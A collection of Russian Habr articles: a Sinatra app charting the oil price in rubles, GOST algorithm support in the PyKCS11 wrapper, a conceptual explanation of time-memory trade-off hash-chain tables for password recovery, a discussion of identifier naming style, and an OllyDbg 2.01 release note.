И тут мне, конечно, захотелось посмотреть долгосрочную статистику. Яндекс в явном виде по api не предоставляет эти данные, но для своих графиков он отдает нехитрые xml. Поэтому — Sinatra, Bootstrap, Chart.js и Heroku.
Самое показательное — колебания около 3600 рублей за последние безумные 3 месяца. Резкие всплески — отставание курса рубля от изменений стоимости нефти. Просто здесь резвятся спекулянты)
На большем промежутке видно, что текущая цена на нефть в рублях держится с 2011 года.
Также интересно, что во времена кризиса 2008 рубль не был столь жестко привязан к стоимости нефти, как сейчас. С другой стороны, принцип был тот же — сначала меняется цена на нефть, а потом, с задержкой догоняет рубль.
Такая вот нехитрая аналитика.
Само приложение: <http://rubbar.herokuapp.com/>.
**P.S.** Так что, поздравляю, товарищи, этот баян сегодня как никогда актуален:
Просто ловлю себя на том, что пересчитываю сколько бочек нефти оставил в гипермаркете, и представляю монетки с канистрами и купюры в один, пол и четверть барреля — раз уж мы так к ним привязаны.
**UPD:**
**Немного про то, как приложение писалось и как устроено внутри.**Все достаточно просто, но раз есть интерес — дополняю статью.
Сначала нужно было отловить как приходят данные с Яндекса. Оказались две XML-ки: [graph\_1.xml](http://news.yandex.ru/quotes/graph_1.xml) и [graph\_1006.xml](http://news.yandex.ru/quotes/graph_1006.xml). Это все данные, которые будут использоваться.
Поскольку сам занимаюсь разработкой на Ruby, взял за основу легкий фреймворк [Sinatra](http://www.sinatrarb.com/), подключил шаблонизатор [Slim](http://slim-lang.com/) для единственной вьюхи. Экшена два — один рендерит шаблон (привязан к корню сайта), а второй — [возвращает json с данными для графика](https://rubbar.herokuapp.com/chart/rub_bar.json). Для генерации json взял гем [oj](https://github.com/ohler55/oj), а для парсинга xml — [ox](https://github.com/ohler55/ox).
В исходных данных, конечно же, оказались разные таймстампы (курс рубль/доллар и доллар/баррель обновляются не синхронно), поэтому берется ближайшее обновление курса рубля до рассматриваемого обновления барреля.
Получилось, что запрос json-ки занимает заметное глазу время — в первую очередь из-за двух запросов к Яндексу. Поэтому результат захотелось закешировать. Тем более, что данные от Яндекса будут обновляться два раза за сутки. Изучив возможности Heroku на бесплатном аккаунте, обрадовался куче облачных вариантов Redis и Memcache от 5 до 25 Мб, что намного больше требуемого объема. Но, оказалось что предоставляются они только после ввода данных по кредитке, что несколько настораживает — есть подозрение, что деньги будут списываться, если превысить бесплатный объем. А хотелось залить — и не думать. Посему был запилен класс, с гордым названием [StupidCache](https://github.com/urvalla/rub-bar/blob/master/lib/stupid_cache.rb). Смысл в том, что приложение на Sinatra резидентно в памяти, и значит статические атрибуты класса сохраняются между запросами. Весь код контроллера получился таким:
```
get '/chart/rub_bar.json' do
result_json = StupidCache.fetch :rub_bar do
# этот код выполняется и кешируется, только если кеш пуст
Oj.dump ChartModel.get_rub_bar, mode: :compat
end
content_type 'application/json'
result_json
end
```
Сначала были мысли запрашивать данные за определенные временные промежутки, но учитывая размер получившегося json < 100KB решил, что можно всегда отдавать все целиком — кроме того, так можно менять диапазоны без перезагрузки страницы.
Остался сам интерфейс. Для сборки взял [bower](http://bower.io/), вытянул bootstrap, jquery, [fontawesome](http://fontawesome.io/) и [chartjs](http://www.chartjs.org/) (потом переключил, правда jquery и fontawesome на CDN, и сам fontawesome пригодился только для значка github в подвале).
Особой магией пришлось заниматься только с chartjs. Chartjs весьма удобен:
```
var data = {
labels: labels, //массив, полученный ajax
datasets: [
{
/* здесь пропущена конфигурация цветовой схемы кривой */
data: values //массив, полученный ajax
}
]
};
var ctx = $("#oil_chart").get(0).getContext("2d"); // #oil_chart - это элемент canvas
new Chart(ctx).Line(data, { /* здесь пропущена конфигурация графика */ });
```
То, что есть в приложении, это почти что конфигурация из коробки, кроме одной неприятности: если выполнить вышеуказанный код заново (а это нужно для переключения между периодами), то графики накладывались друг на друга. Проблема была успешно костылирована такой строчкой перед перерисовкой:
```
$("#oil_chart").replaceWith('');
```
Еще одна мелочь: на экран хорошо влезают данные за месяц, т.е. 30 точек. Несколько тысяч же — тормозят и выглядят плохо. Поэтому пропускаем отсчеты чтобы точек было от 30 до 59:
```
var skip = Math.floor(values_all.length/30);
skip = skip < 1 ? 1 : skip;
var values = [];
for (var i = 0; i < values_all.length; i = i + skip) {
values.push(values_all[i]);
}
```
И последнее — деплой на Heroku, про который есть приличное количество статей на Хабре.
Для продакшена лучше избавится от стандартного WEBrick и использовать шуструю многопоточную Puma. Хоть Heroku и рекомендует Unicorn, но на бесплатном аккаунте, да еще и с запросами на сторонние сервисы Puma должна чувствовать себя гораздо комфортнее. Для этого достаточно добавить gem 'puma' в Gemfile. Еще для порядка добавлен Procfile, хотя и без него Heroku все запускает.
Для самого деплоя — регистрируем аккаунт, ставим их консольную утилиту, логинимся через нее, коммитим проект в гит, git push heroku.
Занавес.
[Код на Гитхаб](https://github.com/urvalla/rub-bar) | https://habr.com/ru/post/364365/ | null | ru | null |
# Поддержка токенов PKCS#11 с ГОСТ-криптографией в Python. Часть III — Обёртка PyKCS11
 Подошло [время рассказать](https://habr.com/ru/post/547770/) как была добавлена поддержка российской криптографии в [проект PyKCS11](https://github.com/LudovicRousseau/PyKCS11). Всё началось с того, что мне на глаза попалась [переписка](https://github.com/LudovicRousseau/PyKCS11/issues/28) разработчика проекта PyKCS11 с потенциальными потребителями по поводу возможной поддержки алгоритмов ГОСТ Р 34.10-2012 в нём. В этой переписке [автор PkCS11](https://github.com/LudovicRousseau) сказал, что не собирается включать поддержку российских криптоалгоритмов до тех пор, пока они не будут стандартизованы.
Ту же самую мысль он выразил и мне, когда я предложил ему это сделать. И не просто сделать, а выслал соответствующий программный код:
После этого я посчитал возможным форкнуть код в свой репозиторий и внести в него соответствующие правки. Проект PyKCS11 с поддержкой российской криптографии находится [здесь](https://github.com/a513/PyKCS11).
### I. Добавляем поддержку российских криптоалгоритмов
Итак, что же было сделано. Я фактически последовал одному из советов автора проекта PyKCS11:
> What I can propose you is to create a PyKCS11\_GOST.py file with the constant names and functions you want in order to extend PyKCS11 with GOST support.
>
> (Я могу предложить вам создать файл PyKCS11\_GOST.py с именами констант и функциями, которыми вы хотите расширить PyKCS11 для поддержки ГОСТ.)
>
>
Все константы, утвержденные ТК-26 для PKCS#11, были сведены в один файл pkcs11t\_gost.h, помещенный в папку src:
```
//ТК-26
#define NSSCK_VENDOR_PKCS11_RU_TEAM 0xd4321000
#define NSSCK_VENDOR_PKSC11_RU_TEAM NSSCK_VENDOR_PKCS11_RU_TEAM
#define CK_VENDOR_PKCS11_RU_TEAM_TC26 NSSCK_VENDOR_PKCS11_RU_TEAM
#define CKK_GOSTR3410_512 0xd4321003UL
#define CKK_KUZNYECHIK 0xd4321004UL
#define CKK_MAGMA 0xd4321005UL
#define CKK_GOSTR3410_256 0xd4321006UL
#define CKP_PKCS5_PBKD2_HMAC_GOSTR3411_TC26_V1 0xd4321801UL
#define CKP_PKCS5_PBKD2_HMAC_GOSTR3411_2012_256 0xd4321002UL
#define CKP_PKCS5_PBKD2_HMAC_GOSTR3411_2012_512 0xd4321003UL
#define CKM_GOSTR3410_512_KEY_PAIR_GEN 0xd4321005UL
#define CKM_GOSTR3410_512 0xd4321006UL
#define CKM_GOSTR3410_WITH_GOSTR3411 0x00001202
#define CKM_GOSTR3410_WITH_GOSTR3411_12_256 0xd4321008UL
#define CKM_GOSTR3410_WITH_GOSTR3411_12_512 0xd4321009UL
#define CKM_GOSTR3410_12_DERIVE 0xd4321007UL
#define CKM_GOSR3410_2012_VKO_256 0xd4321045UL
#define CKM_GOSR3410_2012_VKO_512 0xd4321046UL
#define CKM_KDF_4357 0xd4321025UL
#define CKM_KDF_GOSTR3411_2012_256 0xd4321026UL
#define CKM_KDF_TREE_GOSTR3411_2012_256 0xd4321044UL
#define CKM_GOSTR3410_PUBLIC_KEY_DERIVE 0xd432100AUL
#define CKM_LISSI_GOSTR3410_PUBLIC_KEY_DERIVE 0xd4321037UL
#define CKM_GOST_GENERIC_SECRET_KEY_GEN 0xd4321049UL
#define CKM_GOST_CIPHER_KEY_GEN 0xd4321048UL
#define CKM_GOST_CIPHER_ECB 0xd4321050UL
#define CKM_GOST_CIPHER_CBC 0xd4321051UL
#define CKM_GOST_CIPHER_CTR 0xd4321052UL
#define CKM_GOST_CIPHER_OFB 0xd4321053UL
#define CKM_GOST_CIPHER_CFB 0xd4321054UL
#define CKM_GOST_CIPHER_OMAC 0xd4321055UL
#define CKM_GOST_CIPHER_KEY_WRAP 0xd4321059UL
#define CKM_GOST_CIPHER_ACPKM_CTR 0xd4321057UL
#define CKM_GOST_CIPHER_ACPKM_OMAC 0xd4321058UL
#define CKM_GOST28147_PKCS8_KEY_WRAP 0xd4321036UL
#define CKM_GOST_CIPHER_PKCS8_KEY_WRAP 0xd432105AUL
#define CKM_GOST28147_CNT 0xd4321825UL
#define CKM_KUZNYECHIK_KEY_GEN 0xd4321019UL
#define CKM_KUZNYECHIK_ECB 0xd432101AUL
#define CKM_KUZNYECHIK_CBC 0xd432101EUL
#define CKM_KUZNYECHIK_CTR 0xd432101BUL
#define CKM_KUZNYECHIK_OFB 0xd432101DUL
#define CKM_KUZNYECHIK_CFB 0xd432101CUL
#define CKM_KUZNYECHIK_OMAC 0xd432101FUL
#define CKM_KUZNYECHIK_KEY_WRAP 0xd4321028UL
#define CKM_KUZNYECHIK_ACPKM_CTR 0xd4321042UL
#define CKM_KUZNYECHIK_ACPKM_OMAC 0xd4321043UL
#define CKM_MAGMA_KEY_GEN 0xd432102AUL
#define CKM_MAGMA_ECB 0xd4321018UL
#define CKM_MAGMA_CBC 0xd4321023UL
#define CKM_MAGMA_CTR 0xd4321020UL
#define CKM_MAGMA_OFB 0xd4321022UL
#define CKM_MAGMA_CFB 0xd4321021UL
#define CKM_MAGMA_OMAC 0xd4321024UL
#define CKM_MAGMA_KEY_WRAP 0xd4321029UL
#define CKM_MAGMA_ACPKM_CTR 0xd4321040UL
#define CKM_MAGMA_ACPKM_OMAC 0xd4321041UL
#define CKM_GOSTR3411_12_256 0xd4321012UL
#define CKM_GOSTR3411_12_512 0xd4321013UL
#define CKM_GOSTR3411_12_256_HMAC 0xd4321014UL
#define CKM_GOSTR3411_12_512_HMAC 0xd4321015UL
#define CKM_PBA_GOSTR3411_WITH_GOSTR3411_HMAC 0xd4321035UL
#define CKM_TLS_GOST_KEY_AND_MAC_DERIVE 0xd4321033UL
#define CKM_TLS_GOST_PRE_MASTER_KEY_GEN 0xd4321031UL
#define CKM_TLS_GOST_MASTER_KEY_DERIVE 0xd4321032UL
#define CKM_TLS_GOST_PRF 0xd4321030UL
#define CKM_TLS_GOST_PRF_2012_256 0xd4321016UL
#define CKM_TLS_GOST_PRF_2012_512 0xd4321017UL
#define CKM_TLS_TREE_GOSTR3411_2012_256 0xd4321047UL
```
В этот перечень вошли механизмы как необходимые для формирования и проверки подписи по (ГОСТ Р 34.10-2012) ГОСТ Р 34.10-2012, так и шифрования (ГОСТ Р 34.12-2015 и ГОСТ Р 34.13-2015 — алгоритмы шифрования Кузнечик и Магма). Естественно, здесь же присутствуют и алгоритмы хэширования ГОСТ Р 34.11-2012.
Для того, чтобы ГОСТ-овые константы попали в процесс сборки модуля, необходимо добавить в файл pkcs11.i (файл для SWIG) оператор включения файла pkcs11t\_gost.h
```
%include "pkcs11t_gost.h"
```
перед оператором
```
%include "pkcs11lib.h"
```
Но это еще не всё. В методе getMechanismList (script PKCS11/\_\_init\_\_.py) заблокирован вывод механизмов, чей код больше CKM\_VENDOR\_DEFINED (именно об этом и пишет автор проекта PyKCS11) (0x80000000L). Заметим, что ГОСТ-овые константы для новых алгоритмов попадают под это ограничение. Необходимо его снять хотя бы для ГОСТ-ов, поэтому заменим код метода getMechanismList на новый:
```
def getMechanismList(self, slot):
"""
C_GetMechanismList
:param slot: slot number returned by :func:`getSlotList`
:type slot: integer
:return: the list of available mechanisms for a slot
:rtype: list
"""
mechanismList = PyKCS11.LowLevel.ckintlist()
rv = self.lib.C_GetMechanismList(slot, mechanismList)
if rv != CKR_OK:
raise PyKCS11Error(rv)
m = []
#Правки для ГОСТ
#define NSSCK_VENDOR_PKCS11_RU_TEAM 0xd4321000
for x in range(len(mechanismList)):
mechanism = mechanismList[x]
if mechanism >= CKM_VENDOR_DEFINED:
if mechanism >= CKM_VENDOR_DEFINED and mechanism < 0xd4321000:
k = 'CKM_VENDOR_DEFINED_0x%X' % (mechanism - CKM_VENDOR_DEFINED)
CKM[k] = mechanism
CKM[mechanism] = k
m.append(CKM[mechanism])
return m
#ORIGINAL
# for x in range(len(mechanismList)):
# mechanism = mechanismList[x]
# if mechanism >= CKM_VENDOR_DEFINED:
# k = 'CKM_VENDOR_DEFINED_0x%X' % (mechanism - CKM_VENDOR_DEFINED)
# CKM[k] = mechanism
# CKM[mechanism] = k
# m.append(CKM[mechanism])
# return m
```
Отметим также, что несмотря на то, что в модуль включены все механизмы, которые определены во включаемых файлах pkcs11t.h и pkcs11t\_gost.h для pkcs11 v.2.40, не все эти механизмы могут быть выполнены. Проблема состоит в том, что для некоторых из них требуется определенная структура параметров. Это, в частности, относится к механизму CKM\_RSA\_PKCS\_OAEP, которому требуются параметры в виде структуры CK\_RSA\_PKCS\_OAEP\_PARAMS, и механизму CKM\_PKCS5\_PBKD2, который ждет параметров в виде структуры CK\_PKCS5\_PBKD2\_PARAMS. Есть и другие механизмы. Но поскольку автор реализовал отдельные структуры для отдельных механизмов (для того же CKM\_RSA\_PKCS\_OAEP), то не составит труда реализовать поддержку структур параметров и для других механизмов. Так, если кому потребуется работа с контейнером PKCS#12, то придется реализовать поддержку структуры CK\_PKCS5\_PBKD2\_PARAMS.
Всё это относится к довольно сложным криптографическим механизмам.
А вот всё то, что касается хэширования, формирования проверки электронной подписи, наконец, шифрования, то всё работает замечательно. Но для начала надо собрать проект.
### II. Сборка обертки PyKCS11 с поддержкой ГОСТ-ов
Она ничем не отличается от сборки родной обёртки PkCS11 за исключением того, что исходный код необходимо [получить здесь](https://github.com/a513/PyKCS11/).
Далее следуем инструкции по сборке и установке пакета PyKCS11.
Для тестирования потребуется токен с поддержкой российской криптографии. Здесь мы имеем в виду ГОСТ Р 34.10-2012 и ГОСТ Р 34.11-2012. Это может быть как аппаратный токен, например RuTokenECP-2.0, так и программные или облачные токены.
Установить программный токен или получить доступ к облачному токену можно, воспользовавшись утилитой cryptoarmpkcs.
**Скачать утилиту cryptoarmpkcs можно здесь.**
* [Linux32](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_linux32.tar.bz2)
* [Linux64](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_linux64.tar.bz2)
* [OS X](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_mac.tar.bz2)
* [WIN32](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_setup_win32.exe)
* [WIN64](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_setup_win64.exe)
После запуска утилиты необходимо зайти на вкладку «Создать токены»:
На вкладке можно найти инструкции для получения и установки токенов.
### III. Тестирование российских алгоритмов
Для тестирования можно использовать скрипты, которые лежат в папке testGost:
* ckm\_kuznyechik\_cbc.py
* ckm\_gostr3411\_12\_256.py
* ckm\_gostr3410\_with\_gostr3411\_12\_256.py
* ckm\_gostr3410\_512.py
Для тестирования исходные данные брались как из соответствующих ГОСТ-ов, так и из рекомендаций ТК-26.
В данных скриптах тестируются следующие механизмы:
1. Генерация ключевых пар:
* CKM\_GOSTR3410\_512\_KEY\_PAIR\_GEN (ГОСТ Р 34.10-2012 с длиной ключа 1024 бита)
* CKM\_GOSTR3410\_KEY\_PAIR\_GEN (ГОСТ Р 34.10-2012 с длиной ключа 512 бит)
2. Формирование и проверка электронной подписи:
* CKM\_GOSTR3410
* CKM\_GOSTR3410\_512
* CKM\_GOSTR3410\_WITH\_GOSTR3411\_12\_256
3. Хэширования:
* CKM\_GOSTR3411\_12\_256
4. Шифрование/расшифрование
* CKM\_KUZNYECHIK\_CBC
Генерация ключевых пар позволяет владельцу токена получить закрытый ключ, которым он может подписать, например, запрос на сертификат. Запрос на сертификат может быть отправлен в удостоверяющий центр и там по нему могут выдать сертификат. Владелец сертификата может импортировать его на токен, где хранится закрытый ключ. Теперь у владельца токена есть личный сертификат с закрытым ключом, который он может использовать для подписи документов.
Ну а если ему требуется особый режим секретности, то он может зашифровать документ по одному из алгоритмов, а именно по Магме или Кузнечику. Всё это конечно в том случае, если сам токен поддерживает эти механизмы, пакет PyKCS11 является всего лишь посредником.
На этом наше повествование, связанное с поддержкой в Python токенов с российской криптографией, заканчивается. | https://habr.com/ru/post/549198/ | null | ru | null |
# Time-memory trade off и нерадужные таблицы
Нет, я не буду рассказывать с какими параметрами нужно генерировать радужные таблицы, или как придумывать «стойкие» пароли. Сама по себе тематика немного устарела и едва ли поможет в отвлеченных вопросах. Но, как оказалось, в основу «радужных таблиц» положен замечательный способ (я бы не стал называть его методом или алгоритмом) размена времени на память, то бишь «time-memory trade off». Это [не первый](http://habrahabr.ru/blogs/algorithm/71704/) (и, наверное, не последний) топик про предвычисления, но, надеюсь, он Вам понравится.
#### Хеш-функции
Абзац скучный, те кто знают — пролистывайте. Но если не знаете, или сомневаетесь, то приступим.
*Хэш-функция* — функция, выполняющая одностороннее преобразование. По заданной строке (паролю) она получает некое хеш-значение (hex-нотация: обычно последовательность из цифр и букв a — f), такое, что по нему очень сложно получить какую-либо информацию об исходной строке-пароле.
Изначально слово взято из английского языка: hash — мешанина, мусор, ненужная информация. На русском языке возможны два варианта транслитерации: хеш или хэш.
Смысл слова можно трактовать так: по хеш-значению мы не получим никакой полезной информации, поэтому само по себе оно является бессмысленным набором байт, мусором.
Однако, обладая свойством обычных функций (то есть по одинаковым строчкам в любое время мы получим одинаковые хеш-значения), хеш-функции пригодились в области авторизации (разграничении доступа). По паролю очень легко получить хеш-значение, которое можно хранить, и использовать для сравнения паролей с оригинальным. В то же время, даже имея доступ к базе хеш-значений, казалось бы, нельзя получить доступ к паролям.
Простой пример: Мы хотим сохранить строку *test*, как пароль для пользователя Admin. Для этого мы записываем в базу паролей:
Admin:`098f6bcd4621d373cade4e832627b4f6` (эта последовательность символов есть хеш-значение MD5 от строки *test*).
Теперь мы можем проверить любую строку на соответсвие нашему паролю очень легко — посчитаем от нее хеш-значение, и сравним с тем, которое мы сохранили в базе.
Для примера, MD5 от строки *rest* — это `65e8800b5c6800aad896f888b2a62afc` и оно не совпадает с тем, что мы сохранили. А значит, *rest* — не пароль для Admin.
В то же время, MD5 от строки *test* — это всегда `098f6bcd4621d373cade4e832627b4f6`, что совпадает с сохраненным значением. А значит, *test* всегда подойдет как пароль к Admin.
#### Восстановление пароля
Забудем слово «взлом», и о том что «восстанавливать» можно только «свои» пароли — сейчас это не важно. У нас есть всего-ничего, хеш-функция **f** и хеш-значение **y**. Требуется найти строку **x** (пароль), такую, что **f(x)=y**, математика.
И мы без труда решили бы задачу, если бы **f(x)** было равно **x^2**, кажется в школе учили. Но не тут-то было, математики утверждают, что для любой честной хеш-функции найти обратную в конкретной точке можно разве что прямым перебором. А перебрать нужно O(2^разрядности хеш-значения).
*На самом деле это не так, и для всех реально существующих функций этот перебор имеет меньший порядок, а честные хеш функции могут и вовсе не существовать, этот вопрос зависит от существования псевдослучайных генераторов, а они в свою очередь… и мы не будем опровергать этот тезис, хотя бы потому, что не сможем.*
Значит перебор.
#### Параметры перебора
Задача перебора формализуется очень легко (хоть и множеством способов). Пусть у нас есть алфавит **A** (Вы ещё запоминаете буквы?). Для заданного **n** (пока запоминайте) построим все строки из **n** символов алфавита **A**. Для каждой строки посчитаем ее хеш-значение. Если оно совпадет с **y**, то, кажется, мы решили задачу.
Тут я хочу сильно расстроить тех, кто до сих пор считает надежность пароля зависимым от длины пароля фактором. От длины она зависит едва ли больше, чем от содержимого алфавита.
И в качестве примера, возьмем алфавит состоящий из 4 строк: `a`, `b`, `test`, `rest`.
Для n = 2 перебор охватит строки aa, ab, atest, arest, ba, bb, btest, brest… *и так далее, всего 4^2 = 16 вариантов.*
Сложность переборного алгоритма составляет O(|A|^n).
#### Оценка параметров
Перебор будет успешен в одном из двух случаев:
1. мы наткнемся на [хеш-коллизию](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BB%D0%BB%D0%B8%D0%B7%D0%B8%D1%8F_%D1%85%D0%B5%D1%88-%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8) первого рода.
2. исходный пароль будет содержаться в **A^n** (то есть его можно составить словами алфавита).
Касательно первого случая могу сказать, что эту идею стоит оставить. Даже для [MD5](http://ru.wikipedia.org/wiki/MD5), имеющей всего-то 2^128 различных хеш-значений на это потребуется очень много времени (тысячелетия при переборе миллиарда хеш-значений в секунду). Только не стоит путать коллизии первого рода в свободными коллизиями (второго рода), их действительно искать [легко](http://www.mscs.dal.ca/~selinger/md5collision/), но на практике совершенно бесполезно.
Значит целимся на ситуацию 2. Несложно прикинуть [параметры и порядок вычислений](http://habrahabr.ru/blogs/infosecurity/80036/) для типичных ситуаций.
#### Никакого обмана
Так вот, таблицы не позволят сократить этот порядок. Это было бы и противоречиво тезису о «необратимости» хеш-функций. Все что могут таблицы — *это хранить некоторую предвычисленную (за время, большее времени прямого перебора!) информацию, позволяющую для каждого конкретного значения найти соответствующий ему пароль довольно быстро*.
#### Алгоритм предвычисления
Будем записывать в таблицу пары из двух хеш-значений si и ei. Много-много таких пар.
Где si = **f** ( *случайной строки из алфавита* ).
si1 = **f** ( **r** ( si ) )
si2 = **f** ( **r** ( si1 ) )
…
ei = **f** ( **r** ( si**m** ) )
Так, стоп, что за **r**? А это такая специальная функция *редукции*. Она отображает хеш-значение функции **f** обратно в алфавит **A^n** по любому закону, но по возможности сохраняя инъективность (от разных аргументов функция должна давать разные значения).
Если на время забыть способ получения значений то их можно записать в *цепочку*:
**si** → si1 → si2 →… → sim → **ei**, где **m** длина цепочки, одинаковая для всех цепочек одной таблицы.
Сложность получения одной пары O(m), всего в таблице **N** пар, соответственно на генерацию таблицы будет затрачено O(N\*m) времени. На сохранение на диск O(N) памяти. А пароль к любому из промежуточных значений sik может быть найден за O(m).
Перевод на «человеческий язык» будет звучать как-то так: для того чтобы уметь восстанавливать любой пароль алфавита **A^n** потребуется порядка A^n/5000 (для m = 5000) байт места на диске, порядка 5000 шагов алгоритма восстановления.
Чем больше предвычислили, тем большее число паролей можем восстановить, за то же время. Но и «весить» такие таблицы будут больше. Вот и time-memory trade off.
Крайние случаи просты: для m=1 нам потребуется сохранить на диск все хеш-значения заданного алфавита, а это очень много. Но и время восстановления будет O(1) (на самом деле O(log(|A|^n) из-за применения поиска, ну да ладно).
А для m=|A|^n, таблица займет всего н-надцать байт, но и поиск займет столько же времени, сколько без таблицы. Да еще и может не увенчаться успехом из-за вероятностного характера таблицы (ой, зря я это сказал, придется потом отдуваться).
#### Использование таблицы
Отлично, пусть у нас есть то самое хеш-значение **y** и таблица из пар (s0, e0); (s1, e1);… (sN, eN).
На первой итерации алгоритма мы поищем значение **y** среди конечных точек цепочек: ei.
> Пусть нам повезло, **y** = ek для какого-нибудь *k*. Тогда мы регенерируем цепочку, начиная с соответствующего sk: а ведь идущий перед ek элемент skN-1 обладает по построению замечательным свойством: f ( r ( skN-1 ) ) = ek = y, а значит r ( skN-1 ) искомый пароль!
>
>
Пусть не повезло, тогда мы вычисляем y1 = f ( r ( y ) ). И невезение наше повторяется, yi = ((f ○ r) ^ i) (y), *это я так записал i раз подряд примененные f и r по очереди (так же как в цепочках в таблице)*. Стоит отметить, что нет смысла считать yN+1 и далее — даже если они найдутся в таблице, то таблица нам не поможет. Значит здесь максимум N шагов, на каждом из которых мы считаем yi и ищем среди ek. И если, наконец, оно найдется:
`**sk** → sk1 → ... → skv → skv+1 → ... → ... → **ek**
y → y1 → ... → yi`
Стрелочки здесь обозначают всё то же — композицию f и r. А значит, **r ( skv )** пароль для **y**!
Вот и объяснение, почему считать **yN** и дальше не нужно: «нижня» цепочка должна быть короче верхней, мы обращаемся к предыдущему относительно **y** элементу.
#### А дальше?
Остались не затронутыми несколько вопросов:
1. как быстро искать хеш в таблице
2. «что-то там про вероятность» :)
3. зачем же нужны радужные таблицы и как они устроены
4. быть может, нужно больше примеров
5) distinguished points и их одновременное использование с RT
6) разбор полётов криптанализа GSM A5/1, который на 5) основан | https://habr.com/ru/post/82941/ | null | ru | null |
# К вопросу об идентификаторах
Разрабатываем мы язык тут потихоньку. И кроме огромного количества синтаксических и семантических вопросов приходится решать и вопросы интерфейсные (так их можно назвать): насколько секси выглядит код, насколько быстро человек врубается в написанное и так далее. Так вот один из таких вопросов — это вопрос о том, из каких символов позволить составлять программисту идентификаторы, и делать ли их case sensitive. Вопрос нетривиальный, и вот почему:
Небольшой interscriptum :). Вообще, я почти всегда писал в стиле `this_is_the_variable`, и если бы я не видел код Plan9, то у меня бы и не возникло вопросов: мы бы в языке сделали идентификаторы «как в Си», но так уж случилось, что Plan9 я почитал, и у меня вызвал острое непонимание тот факт, что мне понимать исходники Plan9 гораздо проще, чем исходники Linux. И это при том, что в Plan9 переменные, обычно именуются так: `wrblock`, `lzput`, `hufftabinit`, `quotefmtinstall`, а в Linux так: `spin_lock_irqsave`, `rt_mutex_adjust_prio_chain`, `dma_chan_busy`, `seq_puts`. Почему так? При попытках дать себе объяснение, возникли некоторые мысли, которые, смею надеяться, будут полезны кому-нибудь.
Как известно, есть несколько популярных лексических схем именования переменных:
`this_is_the_var
thisIsTheVar
thisisthevar`
Так вот, какая из них лучше для восприятия кода — вопрос открытый. Есть стандартная точка зрения: `this_is_the_var` — вариант наилучший, потому что сразу можно разобрать слова, из которых составлен идентификатор. Но, хорошо это или плохо — вопрос спорный. Потому что…
Во-первых, должны ли мы стремится к выражению смысла идентификатора через описание абстрагируемого им процесса? Например, все знают, что `printf` — это `printf`, и никто особо не задумывается о том, что это на самом деле: `print_values_with_formatting_on_standart_output`. Или, все знают, что `stdout` — это `stdout`. Имеет ли смысл идентификатора закладывать в его названии, или для восприятия и написания текста программы лучше когда смысл идентификатора выводится из текста программы? И если верно второе, то наоборот, не мешают ли длинные названия восприятию текста? Кроме того, не мешают ли длинные названия пониманию текста? Ведь, в случае `this_is_the_variable` программисту приходится работать на двух уровнях: оценивать смысл словосочетания, которым обозначен идентификатора, и оценивать связь самого идентификатора со всей программой. Как примеры:
```
while((current_character = getc(stdin)) != EOF)
{
do_something();
}
```
и
```
while((с = getc(stdin)) != EOF)
{
do_something();
}
```
Примеры простые, но, в первом случае нужно сначала прочитать `current_character`, понять, что это текущий символ, потом связать это понимание с тем, как работает `getc`, после чего каждый раз, когда в тексте встречается символ `current_character`, читающий должен оценивать у себя в голове эту ментальную конструкцию (это никакой не научный факт, а просто моя — неспециалиста гипотеза). Во втором примере такого не происходит, смысл `c` 'иероглифический', то есть, он заложен в идентификатор не апелляцией к внешнему языку, а прямо здесь, в тексте (можно сказать изображении, поэтому и иероглифический) программы. Полезно ли это? Мне лично не известно, но, вполне вероятно, задумываться об этом стоит (?).
Во-вторых, и это дополняет предыдущее, идентификаторы в стиле `this_is_the_variable` просто сбивают мозг с восприятия идентификатора как единого целого. Рассматривая GitHub, например, в некоторых случаях я просто относительно долго читал строчку по слогам, пытаясь понять, где же начинается объявление переменной. Или можно сравнить: `lpfnWndProc` с `window_event_handling_procedure_ptr`, что воспринимается, как единое целое?
В-третьих, длинные идентификаторы, подробно нечто описывающие, физически расширяют то поле, которое нужно проанализировать, чтобы осознать смысл написанного.
Всё это приводит к вопросу: а нужно ли позволять в идентификаторах использовать подчёркивание, стимулируя тем самым программистов к многословию и к многобуквию?
Другой вопрос: а должны ли быть идентификаторы чувствительными к регистру? Общепринятый ответ на этот вопрос: да, должны. Но тут тоже можно высказать сомнения: такие, например. Нечувствительность к регистру даёт больше свободы во взаимодействии программистов: одному удобнее писать `lpfnWndProc`, а другому `lpfwndproc`, третий же помечает различным внешним видом `for` — различные виды циклов: например `foR` — это пробег по списку, а `FOR` — это итерационный поиск численного решения.
*Небольшое отступлене: всё же числа — это алгоритмы, и это гораздо естественней, чем числа — координаты, или числа — значения.*
Разбираясь с различными спорами и рассуждениями вокруг этой темы, я наткнулся на замечание о том, что делать идентификаторы case insensitive и без подчёркиваний плохо, потому что есть огромное количество библиотек, которые написаны на Си (или Ассемблере), для которых чувствительность к регистру и underscore важны. Но в нашем языке будет возможность создавать такие идентификаторы: `ID.'вам нужен такой идентификатор? они есть у нас!'`, и их можно будет использовать для связи с библиотеками на C и любом другом case sensitive языке. Так стоит ли делать переменные с подчёркиванием и чувствительностью к регистру? И не будет ли отсутствие этих возможностей способствовать написанию лучшего кода, и лучшему потом его пониманию?
Такой вот текст получился. Спасибо за внимание.
P.S. Вот что писал о правилах программирования на Си один из разработчиков Plan9 — Rob Pike: [www.lysator.liu.se/c/pikestyle.html](http://www.lysator.liu.se/c/pikestyle.html) | https://habr.com/ru/post/74473/ | null | ru | null |
# OllyDbg 2.01
Релиз [OllyDbg 2.01](http://ollydbg.de/odbg201.zip) прошел незаметно и не был освещен на Хабре. Вместе с 2 версией автор выпустил [дизассемблер](http://ollydbg.de/Disasm201.zip) по лицензии GPL v3. В конце октября была анонсирована будущая поддержка [х64](http://www.ollydbg.de/odbg64.html).
Заявленный список изменений в финальной версии:
* Помощь на 77 страницах.
* Поддержка языковых файлов для интерфейса.
* Поддержка AVX инструкций (отсутствует AVX2 и старшие 16 байт YMM регистров не отображаются)
* Окно стека вызовов (как в версии 1.10)
* Окно хэндлов (как в версии 1.10)
